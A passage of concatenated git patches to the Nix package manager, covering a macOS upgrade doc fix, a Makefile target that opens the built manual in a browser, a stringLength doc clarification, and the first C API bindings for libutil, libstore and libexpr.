"$flake3Dir" -git -C "$flake3Dir" add flake.nix config.nix -git -C "$flake3Dir" commit -m 'multi outputs flake' - -nix build "$flake3Dir#hello.foo" --json --no-link | jq --exit-status ' - (.[0] | - (.drvPath | match(".*hello.drv")) and - (.outputs | keys == ["foo"])) -' - # Test whether registry caching works. nix registry list --flake-registry "file://$registry" | grepQuiet flake3 mv "$registry" "$registry.tmp" From 37f8edce99519c5c79d3659ac90d91eb9e7f5d82 Mon Sep 17 00:00:00 2001 From: "vac (Brendan)" Date: Thu, 28 Mar 2024 05:26:50 +0800 Subject: [PATCH 0303/1251] docs: add cacert in macos multi-user upgrade (#10237) --- doc/manual/src/installation/upgrading.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/manual/src/installation/upgrading.md b/doc/manual/src/installation/upgrading.md index 38edcdbc5..a433f1d30 100644 --- a/doc/manual/src/installation/upgrading.md +++ b/doc/manual/src/installation/upgrading.md @@ -28,7 +28,7 @@ $ sudo su ## macOS multi-user ```console -$ sudo nix-env --install --file '' --attr nix -I nixpkgs=channel:nixpkgs-unstable +$ sudo nix-env --install --file '' --attr nix cacert -I nixpkgs=channel:nixpkgs-unstable $ sudo launchctl remove org.nixos.nix-daemon $ sudo launchctl load /Library/LaunchDaemons/org.nixos.nix-daemon.plist ``` From c0b6907ccdaf3d3911cfdb2ff2d000e1683997c7 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Wed, 27 Mar 2024 22:28:05 +0100 Subject: [PATCH 0304/1251] doc/local.mk: Add manual-html-open phony target for auto-opening the browser (#10308) --- doc/manual/local.mk | 10 ++++++++++ doc/manual/src/contributing/documentation.md | 4 +--- 2 files changed, 11 insertions(+), 3 deletions(-) diff --git a/doc/manual/local.mk b/doc/manual/local.mk index b77168885..698a9289b 100644 --- a/doc/manual/local.mk +++ b/doc/manual/local.mk @@ -175,6 +175,16 @@ $(d)/src/SUMMARY-rl-next.md: $(d)/src/release-notes/rl-next.md # Generate the HTML manual. .PHONY: manual-html manual-html: $(docdir)/manual/index.html + +# Open the built HTML manual in the default browser. +manual-html-open: $(docdir)/manual/index.html + @echo " OPEN " $<; \ + xdg-open $< \ + || open $< \ + || { \ + echo "Could not open the manual in a browser. Please open '$<'" >&2; \ + false; \ + } install: $(docdir)/manual/index.html # Generate 'nix' manpages. diff --git a/doc/manual/src/contributing/documentation.md b/doc/manual/src/contributing/documentation.md index 46cca759d..88b0bdaa9 100644 --- a/doc/manual/src/contributing/documentation.md +++ b/doc/manual/src/contributing/documentation.md @@ -27,11 +27,9 @@ and open `./result-doc/share/doc/nix/manual/index.html`. To build the manual incrementally, [enter the development shell](./hacking.md) and run: ```console -make manual-html -j $NIX_BUILD_CORES +make manual-html-open -j $NIX_BUILD_CORES ``` -and open `./outputs/doc/share/doc/nix/manual/language/index.html`. - In order to reflect changes to the [Makefile for the manual], clear all generated files before re-building: [Makefile for the manual]: https://github.com/NixOS/nix/blob/master/doc/manual/local.mk From c39afb28db3262e286415ddc8cb5ce847ef0ed36 Mon Sep 17 00:00:00 2001 From: "Yang, Bo" Date: Wed, 27 Mar 2024 16:46:50 -0700 Subject: [PATCH 0305/1251] Clarify stringLength is counting bytes --- src/libexpr/primops.cc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc index db4237130..84f24de5a 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -3859,7 +3859,7 @@ static RegisterPrimOp primop_stringLength({ .name = "__stringLength", .args = {"e"}, .doc = R"( - Return the length of the string *e*. If *e* is not a string, + Return the number of bytes of the string *e*. If *e* is not a string, evaluation is aborted. )", .fun = prim_stringLength, From 4702317506926afba5542486ceaa964190b779db Mon Sep 17 00:00:00 2001 From: Yorick van Pelt Date: Fri, 14 Jul 2023 15:52:12 +0200 Subject: [PATCH 0306/1251] libutil: add C bindings --- local.mk | 2 +- src/libutil/error.hh | 4 + src/libutil/nix_api_util.cc | 148 ++++++++++++++++++ src/libutil/nix_api_util.h | 223 ++++++++++++++++++++++++++++ src/libutil/nix_api_util_internal.h | 61 ++++++++ 5 files changed, 437 insertions(+), 1 deletion(-) create mode 100644 src/libutil/nix_api_util.cc create mode 100644 src/libutil/nix_api_util.h create mode 100644 src/libutil/nix_api_util_internal.h diff --git a/local.mk b/local.mk index 7e3c77a65..f48eb63ee 100644 --- a/local.mk +++ b/local.mk @@ -2,7 +2,7 @@ GLOBAL_CXXFLAGS += -Wno-deprecated-declarations -Werror=switch # Allow switch-enum to be overridden for files that do not support it, usually because of dependency headers. ERROR_SWITCH_ENUM = -Werror=switch-enum -$(foreach i, config.h $(wildcard src/lib*/*.hh), \ +$(foreach i, config.h $(wildcard src/lib*/*.hh) $(wildcard src/lib*/*.h), \ $(eval $(call install-file-in, $(i), $(includedir)/nix, 0644))) $(GCH): src/libutil/util.hh config.h diff --git a/src/libutil/error.hh b/src/libutil/error.hh index 89f5ad021..5212805bf 100644 --- a/src/libutil/error.hh +++ b/src/libutil/error.hh @@ -137,6 +137,10 @@ public: : err(e) { } + std::string message() { + return err.msg.str(); + } + const char * what() const noexcept override { return calcWhat().c_str(); } const std::string & msg() const { return calcWhat(); } const ErrorInfo & info() const { calcWhat(); return err; } diff --git a/src/libutil/nix_api_util.cc b/src/libutil/nix_api_util.cc new file mode 100644 index 000000000..4f892637c --- /dev/null +++ b/src/libutil/nix_api_util.cc @@ -0,0 +1,148 @@ +#include "nix_api_util.h" +#include "config.hh" +#include "error.hh" +#include "nix_api_util_internal.h" +#include "util.hh" + +#include +#include + +nix_c_context *nix_c_context_create() { return new nix_c_context(); } + +void nix_c_context_free(nix_c_context *context) { delete context; } + +nix_err nix_context_error(nix_c_context *context) { + if (context == nullptr) { + throw; + } + try { + throw; + } catch (nix::Error &e) { + /* Storing this exception is annoying, take what we need here */ + context->last_err = e.what(); + context->info = e.info(); + int status; + const char *demangled = + abi::__cxa_demangle(typeid(e).name(), 0, 0, &status); + if (demangled) { + context->name = demangled; + // todo: free(demangled); + } else { + context->name = typeid(e).name(); + } + context->last_err_code = NIX_ERR_NIX_ERROR; + return context->last_err_code; + } catch (const std::exception &e) { + context->last_err = e.what(); + context->last_err_code = NIX_ERR_UNKNOWN; + return context->last_err_code; + } + // unreachable +} + +nix_err nix_set_err_msg(nix_c_context *context, nix_err err, const char *msg) { + if (context == nullptr) { + // todo last_err_code + throw new nix::Error("Nix C api error", msg); + } + context->last_err_code = err; + context->last_err = msg; + return err; +} + +const char *nix_version_get() { return PACKAGE_VERSION; } + +// Implementations +nix_err nix_setting_get(nix_c_context *context, const char *key, char *value, + int n) { + if (context) + context->last_err_code = NIX_OK; + try { + std::map settings; + nix::globalConfig.getSettings(settings); + if (settings.contains(key)) + return nix_export_std_string(context, settings[key].value, value, n); + else { + return nix_set_err_msg(context, NIX_ERR_KEY, "Setting not found"); + } + } + NIXC_CATCH_ERRS +} + +nix_err nix_setting_set(nix_c_context *context, const char *key, + const char *value) { + if (context) + context->last_err_code = NIX_OK; + if (nix::globalConfig.set(key, value)) + return NIX_OK; + else { + return nix_set_err_msg(context, NIX_ERR_KEY, "Setting not found"); + } +} + +nix_err nix_libutil_init(nix_c_context *context) { + if (context) + context->last_err_code = NIX_OK; + try { + nix::initLibUtil(); + return NIX_OK; + } + NIXC_CATCH_ERRS +} + +const char *nix_err_msg(nix_c_context *context, + const nix_c_context *read_context, unsigned int *n) { + if (context) + context->last_err_code = NIX_OK; + if (read_context->last_err) { + if (n) + *n = read_context->last_err->size(); + return read_context->last_err->c_str(); + } + nix_set_err_msg(context, NIX_ERR_UNKNOWN, "No error message"); + return nullptr; +} + +nix_err nix_err_name(nix_c_context *context, const nix_c_context *read_context, + char *value, int n) { + if (context) + context->last_err_code = NIX_OK; + if (read_context->last_err_code != NIX_ERR_NIX_ERROR) { + return nix_set_err_msg(context, NIX_ERR_UNKNOWN, + "Last error was not a nix error"); + } + return nix_export_std_string(context, read_context->name, value, n); +} + +nix_err nix_err_info_msg(nix_c_context *context, + const nix_c_context *read_context, char *value, + int n) { + if (context) + context->last_err_code = NIX_OK; + if (read_context->last_err_code != NIX_ERR_NIX_ERROR) { + return nix_set_err_msg(context, NIX_ERR_UNKNOWN, + "Last error was not a nix error"); + } + return nix_export_std_string(context, read_context->info->msg.str(), value, + n); +} + +nix_err nix_err_code(nix_c_context *context, + const nix_c_context *read_context) { + if (context) + context->last_err_code = NIX_OK; + return read_context->last_err_code; +} + +// internal +nix_err nix_export_std_string(nix_c_context *context, + const std::string_view str, char *dest, + unsigned int n) { + size_t i = str.copy(dest, n - 1); + dest[i] = 0; + if (i == n - 1) { + return nix_set_err_msg(context, NIX_ERR_OVERFLOW, + "Provided buffer too short"); + } else + return NIX_OK; +} diff --git a/src/libutil/nix_api_util.h b/src/libutil/nix_api_util.h new file mode 100644 index 000000000..095564296 --- /dev/null +++ b/src/libutil/nix_api_util.h @@ -0,0 +1,223 @@ +#ifndef NIX_API_UTIL_H +#define NIX_API_UTIL_H + +/** @file + * @brief Main entry for the libutil C bindings + * + * Also contains error handling utilities + */ + +#ifdef __cplusplus +extern "C" { +#endif +// cffi start + +// Error codes +/** + * @brief Type for error codes in the NIX system + * + * This type can have one of several predefined constants: + * - NIX_OK: No error occurred (0) + * - NIX_ERR_UNKNOWN: An unknown error occurred (-1) + * - NIX_ERR_OVERFLOW: An overflow error occurred (-2) + * - NIX_ERR_KEY: A key error occurred (-3) + * - NIX_ERR_NIX_ERROR: A generic Nix error occurred (-4) + */ +typedef int nix_err; + +/** + * @brief No error occurred. + * + * This error code is returned when no error has occurred during the function + * execution. + */ +#define NIX_OK 0 + +/** + * @brief An unknown error occurred. + * + * This error code is returned when an unknown error occurred during the + * function execution. + */ +#define NIX_ERR_UNKNOWN -1 + +/** + * @brief An overflow error occurred. + * + * This error code is returned when an overflow error occurred during the + * function execution. + */ +#define NIX_ERR_OVERFLOW -2 + +/** + * @brief A key error occurred. + * + * This error code is returned when a key error occurred during the function + * execution. + */ +#define NIX_ERR_KEY -3 + +/** + * @brief A generic Nix error occurred. + * + * This error code is returned when a generic Nix error occurred during the + * function execution. + */ +#define NIX_ERR_NIX_ERROR -4 + +/** + * @brief This object stores error state. + * + * Passed as a first parameter to C functions that can fail, will store error + * information. Optional wherever it is used, passing NULL will throw a C++ + * exception instead. The first field is a nix_err, that can be read directly to + * check for errors. + * @note These can be reused between different function calls, + * but make sure not to use them for multiple calls simultaneously (which can + * happen in callbacks). + */ +typedef struct nix_c_context nix_c_context; + +// Function prototypes + +/** + * @brief Allocate a new nix_c_context. + * @throws std::bad_alloc + * @return allocated nix_c_context, owned by the caller. Free using + * `nix_c_context_free`. + */ +nix_c_context *nix_c_context_create(); +/** + * @brief Free a nix_c_context. Does not fail. + * @param[out] context The context to free, mandatory. + */ +void nix_c_context_free(nix_c_context *context); + +/** + * @brief Initializes nix_libutil and its dependencies. + * + * This function can be called multiple times, but should be called at least + * once prior to any other nix function. + * + * @param[out] context Optional, stores error information + * @return NIX_OK if the initialization is successful, or an error code + * otherwise. + */ +nix_err nix_libutil_init(nix_c_context *context); + +/** + * @brief Retrieves a setting from the nix global configuration. + * + * This function requires nix_libutil_init() to be called at least once prior to + * its use. + * + * @param[out] context optional, Stores error information + * @param[in] key The key of the setting to retrieve. + * @param[out] value A pointer to a buffer where the value of the setting will + * be stored. + * @param[in] n The size of the buffer pointed to by value. + * @return NIX_ERR_KEY if the setting is unknown, NIX_ERR_OVERFLOW if the + * provided buffer is too short, or NIX_OK if the setting was retrieved + * successfully. + */ +nix_err nix_setting_get(nix_c_context *context, const char *key, char *value, + int n); + +/** + * @brief Sets a setting in the nix global configuration. + * + * Use "extra-" to append to the setting's value. + * + * Settings only apply for new States. Call nix_plugins_init() when you are done + * with the settings to load any plugins. + * + * @param[out] context optional, Stores error information + * @param[in] key The key of the setting to set. + * @param[in] value The value to set for the setting. + * @return NIX_ERR_KEY if the setting is unknown, or NIX_OK if the setting was + * set successfully. + */ +nix_err nix_setting_set(nix_c_context *context, const char *key, + const char *value); + +// todo: nix_plugins_init() + +/** + * @brief Retrieves the nix library version. + * + * Does not fail. + * @return A static string representing the version of the nix library. + */ +const char *nix_version_get(); + +/** + * @brief Retrieves the most recent error message from a context. + * + * @pre This function should only be called after a previous nix function has + * returned an error. + * + * @param[out] context optional, the context to store errors in if this function + * fails + * @param[in] ctx the context to retrieve the error message from + * @param[out] n optional: a pointer to an unsigned int that is set to the + * length of the error. + * @return nullptr if no error message was ever set, + * a borrowed pointer to the error message otherwise. + */ +const char *nix_err_msg(nix_c_context *context, const nix_c_context *ctx, + unsigned int *n); + +/** + * @brief Retrieves the error message from errorInfo in a context. + * + * Used to inspect nix Error messages. + * + * @pre This function should only be called after a previous nix function has + * returned a NIX_ERR_NIX_ERROR + * + * @param[out] context optional, the context to store errors in if this function + * fails + * @param[in] read_context the context to retrieve the error message from + * @param[out] value The allocated area to write the error string to. + * @param[in] n Maximum size of the returned string. + * @return NIX_OK if there were no errors, an error code otherwise. + */ +nix_err nix_err_info_msg(nix_c_context *context, + const nix_c_context *read_context, char *value, int n); + +/** + * @brief Retrieves the error name from a context. + * + * Used to inspect nix Error messages. + * + * @pre This function should only be called after a previous nix function has + * returned a NIX_ERR_NIX_ERROR + * + * @param context optional, the context to store errors in if this function + * fails + * @param[in] read_context the context to retrieve the error message from + * @param[out] value The allocated area to write the error string to. + * @param[in] n Maximum size of the returned string. + * @return NIX_OK if there were no errors, an error code otherwise. + */ +nix_err nix_err_name(nix_c_context *context, const nix_c_context *read_context, + char *value, int n); + +/** + * @brief Retrieves the most recent error code from a nix_c_context + * + * Equivalent to reading the first field of the context. + * + * @param[out] context optional, the context to store errors in if this function + * fails + * @param[in] read_context the context to retrieve the error message from + * @return most recent error code stored in the context. + */ +nix_err nix_err_code(nix_c_context *context, const nix_c_context *read_context); + +// cffi end +#ifdef __cplusplus +} +#endif + +#endif // NIX_API_UTIL_H diff --git a/src/libutil/nix_api_util_internal.h b/src/libutil/nix_api_util_internal.h new file mode 100644 index 000000000..9ece28588 --- /dev/null +++ b/src/libutil/nix_api_util_internal.h @@ -0,0 +1,61 @@ +#ifndef NIX_API_UTIL_INTERNAL_H +#define NIX_API_UTIL_INTERNAL_H + +#include + +// forward declaration +namespace nix { +class Error; +}; + +struct nix_c_context { + nix_err last_err_code = NIX_OK; + std::optional last_err = {}; + std::optional info = {}; + std::string name = ""; +}; + +nix_err nix_context_error(nix_c_context *context); + +/** + * Internal use only. + * + * Sets the most recent error message. + * + * @param context context to write the error message to, or NULL + * @param err The error code to set and return + * @param msg The error message to set. + * @returns the error code set + */ +nix_err nix_set_err_msg(nix_c_context *context, nix_err err, const char *msg); + +/** + * Internal use only. + * + * Export a std::string across the C api boundary + * @param context optional, the context to store errors in if this function + * fails + * @param str The string to export + * @param value The allocated area to write the string to. + * @param n Maximum size of the returned string. + * @return NIX_OK if there were no errors, NIX_ERR_OVERFLOW if the string length + * exceeds `n`. + */ +nix_err nix_export_std_string(nix_c_context *context, + const std::string_view str, char *dest, + unsigned int n); + +#define NIXC_CATCH_ERRS \ + catch (...) { \ + return nix_context_error(context); \ + } \ + return NIX_OK; + +#define NIXC_CATCH_ERRS_RES(def) \ + catch (...) { \ + nix_context_error(context); \ + return def; \ + } +#define NIXC_CATCH_ERRS_NULL NIXC_CATCH_ERRS_RES(nullptr) + +#endif // NIX_API_UTIL_INTERNAL_H From 1d41600498cfa1c19d7bb0ef8b6f6e0cfb232d60 Mon Sep 17 00:00:00 2001 From: Yorick van Pelt Date: Fri, 14 Jul 2023 15:53:01 +0200 Subject: [PATCH 0307/1251] libstore: add C bindings --- src/libstore/globals.cc | 1 + src/libstore/nix_api_store.cc | 117 ++++++++++++++++++++++++ src/libstore/nix_api_store.h | 122 ++++++++++++++++++++++++++ src/libstore/nix_api_store_internal.h | 8 ++ 4 files changed, 248 insertions(+) create mode 100644 src/libstore/nix_api_store.cc create mode 100644 src/libstore/nix_api_store.h create mode 100644 src/libstore/nix_api_store_internal.h diff --git a/src/libstore/globals.cc b/src/libstore/globals.cc index fa0938d7b..b9ad8ac18 100644 --- a/src/libstore/globals.cc +++ b/src/libstore/globals.cc @@ -404,6 +404,7 @@ void assertLibStoreInitialized() { } void initLibStore() { + if (initLibStoreDone) return; initLibUtil(); diff --git a/src/libstore/nix_api_store.cc b/src/libstore/nix_api_store.cc new file mode 100644 index 000000000..312e5f2a8 --- /dev/null +++ b/src/libstore/nix_api_store.cc @@ -0,0 +1,117 @@ +#include "nix_api_store.h" +#include "nix_api_store_internal.h" +#include "nix_api_util.h" +#include "nix_api_util_internal.h" + +#include "store-api.hh" + +#include "globals.hh" + +struct StorePath { + nix::StorePath path; +}; + +nix_err nix_libstore_init(nix_c_context *context) { + if (context) + context->last_err_code = NIX_OK; + try { + nix::initLibStore(); + } + NIXC_CATCH_ERRS +} + +Store *nix_store_open(nix_c_context *context, const char *uri, + const char ***params) { + if (context) + context->last_err_code = NIX_OK; + try { + if (!uri) { + return new Store{nix::openStore()}; + } else { + std::string uri_str = uri; + if (!params) + return new Store{nix::openStore(uri_str)}; + + nix::Store::Params params_map; + for (size_t i = 0; params[i] != nullptr; i++) { + params_map[params[i][0]] = params[i][1]; + } + return new Store{nix::openStore(uri_str, params_map)}; + } + } + NIXC_CATCH_ERRS_NULL +} + +void nix_store_unref(Store *store) { delete store; } + +nix_err nix_store_get_uri(nix_c_context *context, Store *store, char *dest, + unsigned int n) { + if (context) + context->last_err_code = NIX_OK; + try { + auto res = store->ptr->getUri(); + return nix_export_std_string(context, res, dest, n); + } + NIXC_CATCH_ERRS +} + +nix_err nix_store_get_version(nix_c_context *context, Store *store, char *dest, + unsigned int n) { + if (context) + context->last_err_code = NIX_OK; + try { + auto res = store->ptr->getVersion(); + if (res) { + return nix_export_std_string(context, *res, dest, n); + } else { + return nix_set_err_msg(context, NIX_ERR_UNKNOWN, + "store does not have a version"); + } + } + NIXC_CATCH_ERRS +} + +bool nix_store_is_valid_path(nix_c_context *context, Store *store, + StorePath *path) { + if (context) + context->last_err_code = NIX_OK; + try { + return store->ptr->isValidPath(path->path); + } + NIXC_CATCH_ERRS_RES(false); +} + +StorePath *nix_store_parse_path(nix_c_context *context, Store *store, + const char *path) { + if (context) + context->last_err_code = NIX_OK; + try { + nix::StorePath s = store->ptr->parseStorePath(path); + return new StorePath{std::move(s)}; + } + NIXC_CATCH_ERRS_NULL +} + +nix_err nix_store_build(nix_c_context *context, Store *store, StorePath *path, + void (*iter)(const char *, const char *)) { + if (context) + context->last_err_code = NIX_OK; + try { + store->ptr->buildPaths({ + nix::DerivedPath::Built{ + .drvPath = path->path, + .outputs = nix::OutputsSpec::All{}, + }, + }); + if (iter) { + for (auto &[outputName, outputPath] : + store->ptr->queryDerivationOutputMap(path->path)) { + auto op = store->ptr->printStorePath(outputPath); + iter(outputName.c_str(), op.c_str()); + } + } + } + NIXC_CATCH_ERRS +} + +void nix_store_path_free(StorePath *sp) { delete sp; } diff --git a/src/libstore/nix_api_store.h b/src/libstore/nix_api_store.h new file mode 100644 index 000000000..1ab7a4eb7 --- /dev/null +++ b/src/libstore/nix_api_store.h @@ -0,0 +1,122 @@ +#ifndef NIX_API_STORE_H +#define NIX_API_STORE_H +/** @file + * @brief Main entry for the libexpr C bindings + */ + +#include "nix_api_util.h" +#include + +#ifdef __cplusplus +extern "C" { +#endif +// cffi start + +/** @brief reference to a nix store */ +typedef struct Store Store; +/** @brief nix store path */ +typedef struct StorePath StorePath; + +/** + * @brief Initializes the Nix store library + * + * This function should be called before creating a Store + * This function can be called multiple times. + * + * @param[out] context Optional, stores error information + * @return NIX_OK if the initialization was successful, an error code otherwise. + */ +nix_err nix_libstore_init(nix_c_context *context); + +/** + * @brief Open a nix store + * @param[out] context Optional, stores error information + * @param[in] uri URI of the nix store, copied + * @param[in] params optional, array of key-value pairs, {{"endpoint", + * "https://s3.local"}} + * @return ref-counted Store pointer, NULL in case of errors + * @see nix_store_unref + */ +Store *nix_store_open(nix_c_context *, const char *uri, const char ***params); + +/** + * @brief Unref a nix store + * + * Does not fail. + * It'll be closed and deallocated when all references are gone. + * @param[in] builder the store to unref + */ +void nix_store_unref(Store *store); + +/** + * @brief get the URI of a nix store + * @param[out] context Optional, stores error information + * @param[in] store nix store reference + * @param[out] dest The allocated area to write the string to. + * @param[in] n Maximum size of the returned string. + * @return error code, NIX_OK on success. + */ +nix_err nix_store_get_uri(nix_c_context *context, Store *store, char *dest, + unsigned int n); + +// returns: owned StorePath* +/** + * @brief parse a nix store path into a StorePath + * + * Don't forget to free this path using nix_store_path_free + * @param[out] context Optional, stores error information + * @param[in] store nix store reference + * @param[in] path Path string to parse, copied + * @return owned store path, NULL on error + */ +StorePath *nix_store_parse_path(nix_c_context *context, Store *store, + const char *path); + +/** @brief Deallocate a nix StorePath + * + * Does not fail. + * @param[in] p the path to free + */ +void nix_store_path_free(StorePath *p); + +/** + * @brief check if a storepath is valid (exists in the store) + * @param[out] context Optional, stores error information + * @param[in] store nix store reference + * @param[in] path Path to check + * @return true or false, error info in context + */ +bool nix_store_is_valid_path(nix_c_context *context, Store *store, + StorePath *path); +// nix_err nix_store_ensure(Store*, const char*); +// nix_err nix_store_build_paths(Store*); +/** + * @brief Build a nix store path + * + * Blocking, calls cb once for each built output + * + * @param[out] context Optional, stores error information + * @param[in] store nix store reference + * @param[in] path Path to build + * @param[in] cb called for every built output + */ +nix_err nix_store_build(nix_c_context *context, Store *store, StorePath *path, + void (*cb)(const char *outname, const char *out)); + +/** + * @brief get the version of a nix store + * @param[out] context Optional, stores error information + * @param[in] store nix store reference + * @param[out] dest The allocated area to write the string to. + * @param[in] n Maximum size of the returned string. + * @return error code, NIX_OK on success. + */ +nix_err nix_store_get_version(nix_c_context *, Store *store, char *dest, + unsigned int n); + +// cffi end +#ifdef __cplusplus +} +#endif + +#endif // NIX_API_STORE_H diff --git a/src/libstore/nix_api_store_internal.h b/src/libstore/nix_api_store_internal.h new file mode 100644 index 000000000..59524ea8e --- /dev/null +++ b/src/libstore/nix_api_store_internal.h @@ -0,0 +1,8 @@ +#ifndef NIX_API_STORE_INTERNAL_H +#define NIX_API_STORE_INTERNAL_H +#include "store-api.hh" + +struct Store { + nix::ref ptr; +}; +#endif From e76652a5d36d407397970cd1b737a91a10bde1af Mon Sep 17 00:00:00 2001 From: Yorick van Pelt Date: Fri, 14 Jul 2023 15:53:30 +0200 Subject: [PATCH 0308/1251] libexpr: add C bindings --- src/libexpr/eval.cc | 4 + src/libexpr/nix_api_expr.cc | 141 +++++++++ src/libexpr/nix_api_expr.h | 176 +++++++++++ src/libexpr/nix_api_expr_internal.h | 17 ++ src/libexpr/nix_api_external.cc | 198 +++++++++++++ src/libexpr/nix_api_external.h | 195 ++++++++++++ src/libexpr/nix_api_value.cc | 439 ++++++++++++++++++++++++++++ src/libexpr/nix_api_value.h | 355 ++++++++++++++++++++++ src/libexpr/search-path.cc | 2 +- src/libexpr/value.hh | 1 + 10 files changed, 1527 insertions(+), 1 deletion(-) create mode 100644 src/libexpr/nix_api_expr.cc create mode 100644 src/libexpr/nix_api_expr.h create mode 100644 src/libexpr/nix_api_expr_internal.h create mode 100644 src/libexpr/nix_api_external.cc create mode 100644 src/libexpr/nix_api_external.h create mode 100644 src/libexpr/nix_api_value.cc create mode 100644 src/libexpr/nix_api_value.h diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index 5e2f71649..a93e531b6 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -897,6 +897,10 @@ void Value::mkStringMove(const char * s, const NixStringContext & context) copyContextToValue(*this, context); } +void Value::mkPath(std::string_view path) +{ + mkPath(makeImmutableString(path)); +} void Value::mkPath(const SourcePath & path) { diff --git a/src/libexpr/nix_api_expr.cc b/src/libexpr/nix_api_expr.cc new file mode 100644 index 000000000..df8a66053 --- /dev/null +++ b/src/libexpr/nix_api_expr.cc @@ -0,0 +1,141 @@ +#include +#include +#include +#include + +#include "config.hh" +#include "eval.hh" +#include "globals.hh" +#include "util.hh" + +#include "nix_api_expr.h" +#include "nix_api_expr_internal.h" +#include "nix_api_store.h" +#include "nix_api_store_internal.h" +#include "nix_api_util.h" +#include "nix_api_util_internal.h" + +#ifdef HAVE_BOEHMGC +#define GC_INCLUDE_NEW 1 +#include "gc_cpp.h" +#endif + +nix_err nix_libexpr_init(nix_c_context *context) { + if (context) + context->last_err_code = NIX_OK; + { + auto ret = nix_libutil_init(context); + if (ret != NIX_OK) + return ret; + } + { + auto ret = nix_libstore_init(context); + if (ret != NIX_OK) + return ret; + } + try { + nix::initGC(); + } + NIXC_CATCH_ERRS +} + +Expr *nix_parse_expr_from_string(nix_c_context *context, State *state, + const char *expr, const char *path, + GCRef *ref) { + if (context) + context->last_err_code = NIX_OK; + try { + Expr *result = state->state.parseExprFromString( + expr, state->state.rootPath(nix::CanonPath(path))); + if (ref) + ref->ptr = result; + return result; + } + NIXC_CATCH_ERRS_NULL +} + +nix_err nix_expr_eval(nix_c_context *context, State *state, Expr *expr, + Value *value) { + if (context) + context->last_err_code = NIX_OK; + try { + state->state.eval((nix::Expr *)expr, *(nix::Value *)value); + } + NIXC_CATCH_ERRS +} + +nix_err nix_value_call(nix_c_context *context, State *state, Value *fn, + Value *arg, Value *value) { + if (context) + context->last_err_code = NIX_OK; + try { + state->state.callFunction(*(nix::Value *)fn, *(nix::Value *)arg, + *(nix::Value *)value, nix::noPos); + } + NIXC_CATCH_ERRS +} + +nix_err nix_value_force(nix_c_context *context, State *state, Value *value) { + if (context) + context->last_err_code = NIX_OK; + try { + state->state.forceValue(*(nix::Value *)value, nix::noPos); + } + NIXC_CATCH_ERRS +} + +nix_err nix_value_force_deep(nix_c_context *context, State *state, + Value *value) { + if (context) + context->last_err_code = NIX_OK; + try { + state->state.forceValueDeep(*(nix::Value *)value); + } + NIXC_CATCH_ERRS +} + +State *nix_state_create(nix_c_context *context, const char **searchPath_c, + Store *store) { + if (context) + context->last_err_code = NIX_OK; + try { + nix::Strings searchPath; + if (searchPath_c != nullptr) + for (size_t i = 0; searchPath_c[i] != nullptr; i++) + searchPath.push_back(searchPath_c[i]); + + return new State{ + nix::EvalState(nix::SearchPath::parse(searchPath), store->ptr)}; + } + NIXC_CATCH_ERRS_NULL +} + +void nix_state_free(State *state) { delete state; } + +GCRef *nix_gc_ref(nix_c_context *context, void *obj) { + if (context) + context->last_err_code = NIX_OK; + try { +#if HAVE_BOEHMGC + return new (NoGC) GCRef{obj}; +#else + return new GCRef{obj}; +#endif + } + NIXC_CATCH_ERRS_NULL +} + +void nix_gc_free(GCRef *ref) { +#if HAVE_BOEHMGC + GC_FREE(ref); +#else + delete ref; +#endif +} + +void nix_gc_register_finalizer(void *obj, void *cd, + void (*finalizer)(void *obj, void *cd)) { +#ifdef HAVE_BOEHMGC + GC_REGISTER_FINALIZER(obj, finalizer, cd, 0, 0); +#endif +} diff --git a/src/libexpr/nix_api_expr.h b/src/libexpr/nix_api_expr.h new file mode 100644 index 000000000..90aec8d18 --- /dev/null +++ b/src/libexpr/nix_api_expr.h @@ -0,0 +1,176 @@ +#ifndef NIX_API_EXPR_H +#define NIX_API_EXPR_H +/** @file + * @brief Main entry for the libexpr C bindings + */ + +#include "nix_api_store.h" +#include "nix_api_util.h" + +#ifdef __cplusplus +extern "C" { +#endif +// cffi start + +// Type definitions +/** + * @brief Represents a parsed nix Expression, can be evaluated into a Value. + * + * Owned by the GC. + */ +typedef void Expr; // nix::Expr +/** + * @brief Represents a nix evaluator state. + * + * Multiple can be created for multi-threaded + * operation. + */ +typedef struct State State; // nix::EvalState +/** + * @brief Represents a nix value. + * + * Owned by the GC. + */ +typedef void Value; // nix::Value +/** + * @brief Reference for the GC + * + * Nix uses a garbage collector that may not be able to see into + * your stack and heap. Keep GCRef objects around for every + * garbage-collected object that you want to keep alive. + */ +typedef struct GCRef GCRef; // void* + +// Function propotypes +/** + * @brief Initializes the Nix expression evaluator. + * + * This function should be called before creating a State. + * This function can be called multiple times. + * + * @param[out] context Optional, stores error information + * @return NIX_OK if the initialization was successful, an error code otherwise. + */ +nix_err nix_libexpr_init(nix_c_context *context); + +/** + * @brief Parses a Nix expression from a string. + * + * The returned expression is owned by the garbage collector. + * Pass a gcref to keep a reference. + * + * @param[out] context Optional, stores error information + * @param[in] state Evaluator state. + * @param[in] expr The Nix expression to parse. + * @param[in] path The file path to associate with the expression. + * @param[out] ref Optional, will store a reference to the returned value. + * @return A parsed expression or NULL on failure. + */ +Expr *nix_parse_expr_from_string(nix_c_context *context, State *state, + const char *expr, const char *path, + GCRef *ref); + +/** + * @brief Evaluates a parsed Nix expression. + * + * @param[out] context Optional, stores error information + * @param[in] state The state of the evaluation. + * @param[in] expr The Nix expression to evaluate. + * @param[in] value The result of the evaluation. + * @return NIX_OK if the evaluation was successful, an error code otherwise. + */ +nix_err nix_expr_eval(nix_c_context *context, State *state, Expr *expr, + Value *value); + +/** + * @brief Calls a Nix function with an argument. + * + * @param[out] context Optional, stores error information + * @param[in] state The state of the evaluation. + * @param[in] fn The Nix function to call. + * @param[in] arg The argument to pass to the function. + * @param[out] value The result of the function call. + * @return NIX_OK if the function call was successful, an error code otherwise. + */ +nix_err nix_value_call(nix_c_context *context, State *state, Value *fn, + Value *arg, Value *value); + +/** + * @brief Forces the evaluation of a Nix value. + * + * @param[out] context Optional, stores error information + * @param[in] state The state of the evaluation. + * @param[in,out] value The Nix value to force. + * @return NIX_OK if the force operation was successful, an error code + * otherwise. + */ +nix_err nix_value_force(nix_c_context *context, State *state, Value *value); + +/** + * @brief Forces the deep 